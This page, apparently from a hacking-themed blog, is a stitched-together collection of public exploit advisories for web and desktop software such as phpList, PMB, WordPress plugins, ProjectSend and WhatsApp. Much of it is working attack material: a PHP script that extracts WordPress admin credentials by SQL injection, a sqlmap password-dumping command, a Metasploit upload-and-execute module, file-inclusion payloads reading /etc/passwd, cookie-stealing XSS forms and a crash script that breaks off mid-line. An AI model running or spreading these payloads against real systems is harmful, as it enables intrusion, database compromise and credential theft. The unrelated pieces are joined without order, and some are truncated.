Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863228275

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Document Title:
===============
PHPLIST v3.0.6 & v3.0.10 - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1358


Release Date:
=============
2014-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
1358


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
phpList is an open source software for managing mailing lists. It is designed for the dissemination of information, such as newsletters, news, 
advertising to list of subscribers. It is written in PHP and uses a MySQL database to store the information. phpList is free and open-source 
software subject to the terms of the GNU General Public License (GPL). Most popular open source newsletter manager. Easy permission marketing. 
Free to download, easy to install and integrate, Versatile and extensible. Over 10,000 downloads a month.

(Copy of the Vendor Homepage: https://www.phplist.com/ )



Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a sql injection vulnerability in the official PHPList v3.0.6 & v3.0.10 web-application.


Vulnerability Disclosure Timeline:
==================================
2014-12-18:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PHPList Limited
Product: PHPList - Web Application 3.0.6 - 3.0.10


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A sql injection web vulnerability has been discovered in the official PHPLIST v3.0.6 & v3.0.10 open source web-application.
The vulnerability allows an attacker to inject sql commands by usage of a vulnerable value to compromise the application dbms.

The sql injection vulnerability is located in the abo user search engine of the phplist application. Local privileged accounts 
are able to inject own sql commands by usage of vulnerable findby value in the abo user search module. A successful attack requires 
to manipulate a GET method request with vulnerable findby value. The injection is a basic order by sql injection that allows to 
compromise the web-application.

The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the application-side web vulnerability requires a low privileged web-application user account and no user interaction.
Successful exploitation of the security vulnerability result in web-application and database management system compromise.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] Abonnenten suchen > Abonnenten finden > Abonnenten finden

Vulnerable Parameter(s):
				[+] findby


Proof of Concept (PoC):
=======================
The sql injection web vulnerability can be exploited by remote attackers with privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Abonnenten suchen > Abonnenten finden > Abonnenten finden
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0&find=1&findby=-1'[SQL INJECTION VULNERABILITY!]--

--- SQL Error Session Logs ---
Database error 1064 while doing query 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '' at line 1
Database error 1064 while doing query 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 
'phplist_user_user.confirmed from phplist_user_user where limit 0,50' at line 1
-
Database error 1054 while doing query Unknown column '10' in 'order clause' Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near 
'phplist_user_user.confirmed from phplist_user_user where limit 0,50' at line 1


Reference(s):
http://phplist.127.0.0.1:8080/lists/
http://phplist.127.0.0.1:8080/lists/admin/
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0&find=1&findby=1


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the findby parameter in the abo user search module. Encode and parse the input values to prevent sql injection attacks. 
Use a prepared statement to secure the point were the app communicates with the local dbms. Disallow that php code errors becomes visible - error(0). 


Security Risk:
==============
The security risk of the sql injection web vulnerability in the findby value of the abo user search module is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
            
Exploit Title: Easy File Sharing Webserver =>6.8 Persistent XSS
Date: 12/26/14
Exploit Author: SickPsycko
Vendor Homepage: http://www.sharing-file.com/
Version:6.8
Tested on: Windows 7 32bit

The exploit is within the username field.
So to exploit this vulnerability, One must place the payload into the
specified field when registering.

http://i.imgur.com/bibu81C.png
Once logged in. User will be greeted with such.
            
# Exploit Title: PMB <= 4.1.3 Post-Auth SQL Injection Vulnerability
# Google Dork: inurl:opac_css
# Date: 25-12-2014
# Exploit Author: XD4rker (Ismail Belkacim)
# Email: xd4rker[at]gmail.com
# Twitter: @xd4rker
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 4.1.3 (Tested against version 4.1.3, 4.1.2 and 3.4.16)

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

Variable $notice_id isn't properly sanitized in file classes/mono_display.class.php, which allows authenticated users to execute arbitrary SQL commands via the id parameter.

-==== POC ====-

http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9 [SQLI]

Using SQLMAP :

./sqlmap.py -u "http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9" -p id --headers="Cookie: [VALID_USER_COOKIE]" --passwords

-==== Exploit requirements ====-

- You will need to be logged in in order to exploit the vulnerability.
            
source: https://www.securityfocus.com/bid/47395/info

chillyCMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

chillyCMS 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/core/helpers.include.php?file=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?path=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?fullpath=[Ev!l-Sh3ll] 
            
source: https://www.securityfocus.com/bid/47399/info

The 'com_phocadownload' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

http://www.example.com/index.php?option=com_phocadownload&controller=../../../../../../../../../../etc/passwd%00 
            
source: https://www.securityfocus.com/bid/47416/info

CRESUS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/$path/ang/recette_detail.php?id=1 {SQL Injection} 
            
source: https://www.securityfocus.com/bid/47418/info

XOOPS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view arbitrary local files within the context of the webserver process. Successfully exploiting this issue may lead to other attacks.

XOOPS 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload 
            
source: https://www.securityfocus.com/bid/47421/info

Ultra Marketing Enterprises CMS and Cart is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[Sql Injection]
http://www.example.com/product.php?id=[Sql Injection] 
            
source: https://www.securityfocus.com/bid/47423/info

The WP-StarsRateBox plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP-StarsRateBox 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=SQL_CODE_HERE 
            
source: https://www.securityfocus.com/bid/47428/info

ChatLakTurk PHP Botlu Video is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/ara.php?ara=[xss] 
            
source: https://www.securityfocus.com/bid/47427/info

Dalbum is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dalbum 1.43 is vulnerable; other versions may also be affected.

http://www.example.com/editini.php?album=/Sample%20album/&url=[xss] 
            
# Mirror: http://pastebin.com/raw.php?i=CZChGAnG
# Video: https://www.youtube.com/watch?v=V7bnLOohqqI

#!/usr/bin/python
#-*- coding: utf-8 -*
 
# Title: WhatsApp Remote Reboot/Crash App Android
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.476 
# Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4 
# Date: 26/12/2014
# #RemoteExecution - www.remoteexecution.net 
#
# Author Exploit:
#   Daniel Godoy       @0xhielasangre    <danielgodoy@gobiernofederal.com>
# Credits: 
#   Gonza Cabrera
#
# Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
#
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
# It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
# engaging in an interactive conversation over WhatsApp protocol
#

import argparse, sys, os, csv
from Yowsup.Common.utilities import Utilities
from Yowsup.Common.debugger import Debugger
from Yowsup.Common.constants import Constants
from Examples.CmdClient import WhatsappCmdClient
from Examples.EchoClient import WhatsappEchoClient
from Examples.ListenerClient import WhatsappListenerClient
from Yowsup.Registration.v1.coderequest import WACodeRequest
from Yowsup.Registration.v1.regrequest import WARegRequest
from Yowsup.Registration.v1.existsrequest import WAExistsRequest
from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
from Yowsup.Contacts.contacts import WAContactsSyncRequest
 
import threading,time, base64
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
COUNTRIES_CSV = "countries.csv"
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
 
 
######## Yowsup Configuration file #####################
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone:    Your full phone number including country code, without '+' or '00'
# id:       This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
#       on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
#       of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
#       a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
#       or want to register, you can leave this field blank or set it to some random text.
# password: Password to use for login. You obtain this password when you register using Yowsup.
######################################################
MINE_CONFIG ="config"
 
def getCredentials(config = DEFAULT_CONFIG):
    if os.path.isfile(config):
        f = open(config)
         
        phone = ""
        idx = ""
        pw = ""
        cc = ""
         
        try:
            for l in f:
                line = l.strip()
                if len(line) and line[0] not in ('#',';'):
                     
                    prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
                     
                    varname = prep[0].strip()
                    val = prep[1].strip()
                     
                    if varname == "phone":
                        phone = val
                    elif varname == "id":
                        idx = val
                    elif varname =="password":
                        pw =val
                    elif varname == "cc":
                        cc = val
 
            return (cc, phone, idx, pw);
        except:
            pass
 
    return 0
 
def main(phone):
    credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )
 
    if credentials:
         
        countryCode, login, identity, password = credentials
        identity = Utilities.processIdentity(identity)
 
        password = base64.b64decode(password)
 
        # Custom message that will crash WhatsApp
        message = message = "#RemoteExecution
            
source: https://www.securityfocus.com/bid/47479/info

Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect



* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX
            
source: https://www.securityfocus.com/bid/47579/info

The WP Ajax Recent Posts WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Ajax Recent Posts WordPress Plugin 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?action=wpAjaxRecentPosts&number=1%27%29%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E
            
source: https://www.securityfocus.com/bid/47571/info

eXPert PDF is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. 

#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
		                                                               
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

EOF
}
# ---------
# eXPert PDF Editor 7 Professional Heap Proof Of Concept Exploit
# Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com>
# special thanks to : Inj3ct0r Team + exploit-id Team
# ---------
# Target : eXPert PDF Editor v7.0.880.0
# Tested in Windows XP sp3 France
# Creating The Bad File .PJ And => Bo0M !
# Heap 0x0174EC24 in 'vspdfeditor140.bpl' . addres 00000008
my $PoC = "\x4b\x45\x44\x41\x4e\x53"; # NULL Heap PoC
open (FILE,">> KedAns.pj"); # Bad File Here
print FILE $PoC;
close (FILE);
# KedAns-Dz | [D] HaCkerS-StreeT-Team [Z] |!| http://twitter.com/kedans
            
source: https://www.securityfocus.com/bid/47574/info

The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sermon Browser 0.43 is vulnerable; other versions may also be affected. 

<?php
 
if(!$argv[1])
die("
 
Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
 
");
print_r("
 
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
 
                      -==[ ExPloiT ]==-
                       
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
 
                       -==[ Start ]==-
 
");
 
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
 
function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}
 
foreach($t as $r=>$y){
 
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
 
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
 
echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";
 
}
 
print_r("
                      -==[ Finished ]==-
");
 
# By Lagripe-Dz .. !
# END .. !
 
?>
            
source: https://www.securityfocus.com/bid/47576/info

html-edit CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

html-edit CMS 3.1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS] 
            
# Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
# Date: 29-12-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.5
# Vendor Homepage:
http://codecanyon.net/item/social-microblogging-pro/9217005
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
"Web Site" input is not secure at Profile section. You can run XSS payloads
on "Web Site" input.

Sample Payload for Stored XSS: http://example.com/">[xssPayload]

=Solution=
Filter the input field against to XSS attacks.
================
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ProjectSend Arbitrary File Upload',
      'Description'    => %q{
        This module exploits a file upload vulnerability in ProjectSend
        revisions 100 to 561. The 'process-upload.php' file allows
        unauthenticated users to upload PHP files resulting in remote
        code execution as the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Fady Mohammed Osman', # Discovery and Exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '35424']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
          ['ProjectSend (PHP Payload)', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 02 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
        ], self.class)
  end

  #
  # Checks if target upload functionality is working
  #
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'process-upload.php')
    )
    if !res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code.to_i == 404
      vprint_error("#{peer} - No process-upload.php found")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 500
      vprint_error("#{peer} - Unable to write file")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      vprint_error("#{peer} - File process-upload.php is not executable")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
      vprint_error("#{peer} - Software is misconfigured")
      return Exploit::CheckCode::Safe
    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
      # response on revision 118 onwards includes the file name
      if res.body && res.body =~ /NewFileName/
        return Exploit::CheckCode::Vulnerable
      # response on revisions 100 to 117 does not include the file name
      elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
        return Exploit::CheckCode::Appears
      elsif res.body && res.body =~ /Failed to open output stream/
        vprint_error("#{peer} - Upload folder is not writable")
        return Exploit::CheckCode::Safe
      else
        return Exploit::CheckCode::Detected
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  #
  # Upload PHP payload
  #
  def upload
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
    php = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
    post_data = data.to_s
    print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )
    if !res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
      fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
      fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
    # response on revision 118 onwards includes the file name
    elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
      print_good("#{peer} - Payload uploaded successfully (#{fname})")
      return fname
    # response on revisions 100 to 117 does not include the file name
    elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
      print_warning("#{peer} - File upload may have failed")
      return fname
    else
      vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
  end

  #
  # Execute uploaded file
  #
  def exec(upload_path)
    print_status("#{peer} - Executing #{upload_path}...")
    res = send_request_raw(
      { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
    )
    if !res
      print_status("#{peer} - Request timed out while executing")
    elsif res.code.to_i == 404
      vprint_error("#{peer} - Not found: #{upload_path}")
    elsif res.code.to_i == 200
      vprint_good("#{peer} - Executed #{upload_path}")
    else
      print_error("#{peer} - Unexpected reply")
    end
  end

  #
  # upload && execute
  #
  def exploit
    fname = upload
    register_files_for_cleanup(fname)
    exec("upload/files/#{fname}") # default for r-221 onwards
    unless session_created?
      exec("upload/temp/#{fname}")  # default for r-100 to r-219
    end
  end
end
            
# Source: https://code.google.com/p/google-security-research/issues/detail?id=118#c1
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35661-poc.zip


Platform: Windows 8.1 Update 32/64 bit (No other OS tested)

On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.

This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways. 

It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse. 

It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes. 

The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps:

1) Put the AppCompatCache.exe and Testdll.dll on disk
2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables). 
3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll". 
4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run. 
            
source: https://www.securityfocus.com/bid/47578/info

Noah's Classifieds is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="item">
<input type="hidden" name="method" value="create">
<input type="hidden" name="rollid" value="2">
<input type="hidden" name="id" value="0">
<input type="hidden" name="cid" value="2">
<input type="hidden" name="col_16"  value="">
<input type="hidden" name="col_17" value=&#039;title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="col_18" value=&#039;<p>description of my"&gt;</p>
<script type="text/javascript">// <![CDATA[
alert(document.cookie)
// ]]></script>&#039;>
<input type="hidden" name="col_19" value="Pc">
<input type="hidden" name="col_20" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appcategory">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="5">
<input type="hidden" name="id" value="5">
<input type="hidden" name="up" value="1">
<input type="hidden" name="wholeName" value="catitem">
<input type="hidden" name="name" value="catitem">
<input type="hidden" name="description" value=&#039;cat2"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="picture" value="">
